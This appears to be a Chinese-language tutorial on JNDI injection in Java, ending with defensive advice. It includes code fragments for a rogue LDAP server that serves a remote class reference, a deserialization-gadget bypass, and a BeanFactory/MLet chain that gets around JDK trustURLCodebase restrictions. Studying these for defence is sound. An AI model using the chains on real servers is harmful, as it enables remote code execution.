JNDI注入学习
字数 1328 2025-08-24 16:48:16
JNDI注入全面解析与实战指南
一、JNDI基础概念
1.1 命名与目录服务
- 命名服务:将名称与对象关联,通过名称查找对象(如DNS将域名解析为IP)
- 对象引用:某些对象不能直接存储,而是存储其引用(指针/地址)
- 上下文对象:一组名称到对象的绑定集合,提供查找、绑定、解绑等操作
- 目录服务:命名服务的扩展,将对象与属性关联(目录服务=命名服务+属性对象)
1.2 JNDI概述
Java命名和目录接口(Java Naming and Directory Interface):
- 提供统一的API访问各种命名和目录服务
- 独立于具体目录服务实现
- 支持RMI、LDAP、DNS等多种协议
二、JNDI基础使用
2.1 JNDI+RMI示例
// 定义远程接口
public interface IRemote extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
// 服务端实现
public class IRemoteImpl implements IRemote {
public String sayHello(String keywords) {
return "Hello " + keywords;
}
}
// JNDI服务端绑定
InitialContext context = new InitialContext();
context.rebind("rmi://localhost:1099/remoteObj", new IRemoteImpl());
// JNDI客户端调用
InitialContext context = new InitialContext();
IRemote iRemote = (IRemote) context.lookup("rmi://localhost:1099/remoteObj");
iRemote.sayHello("user");
三、JNDI注入原理
3.1 通过Reference对象注入
- Reference类:封装不能直接存储的对象
- 参数:类名、工厂名、工厂地址
- 利用流程:
- 服务端绑定Reference对象
- 客户端lookup时自动加载远程类
- 触发静态代码块或构造函数执行恶意代码
3.2 底层机制
-
服务端rebind:
- 将Reference转换为ReferenceWrapper
- 通过RMI注册表存储
-
客户端lookup:
- 获取ReferenceWrapper_Stub
- 解码为Reference对象
- 调用NamingManager.getObjectInstance加载类
-
类加载过程:
- 先尝试本地加载(AppClassLoader)
- 本地不存在则从codebase远程加载(URLClassLoader)
四、JNDI/LDAP注入
4.1 LDAP服务搭建
// 使用Apache Directory Studio或代码创建LDAP服务
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://127.0.0.1/#testRef")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
4.2 客户端触发
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:7777/testRef");
4.3 流程差异
- 使用LdapCtx而非RMIURLContext
- 最终同样通过NamingManager.getObjectInstance加载类
五、JDK版本限制与绕过
5.1 安全修复版本
- JDK6u132, 7u122, 8u133:限制RMI远程加载
- JDK11.0.1, 8u191, 7u201, 6u211:限制LDAP远程加载
- 修复方式:设置
trustURLCodebase默认为false
5.2 绕过方式一:反序列化
// 服务端设置javaSerializedData属性
e.addAttribute("javaSerializedData", CommonsCollections5());
// 客户端触发反序列化
context.lookup("ldap://127.0.0.1:7777/testRef");
利用条件:
- 目标存在可利用的反序列化gadget
- 使用commons-collections等链
5.3 绕过方式二:BeanFactory
// 服务端代码
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("c", "Blue"));
关键点:
- 设置factoryLocation为null绕过trustURLCodebase检查
- 利用BeanFactory动态调用方法
- 通过ELProcessor等本地类执行代码
六、防御措施
- 升级JDK:使用最新安全版本
- 代码层面:
- 避免使用不可信的JNDI查找
- 对输入进行严格过滤
- 环境配置:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
- 设置
- 网络层面:
- 限制出站连接到不可信服务器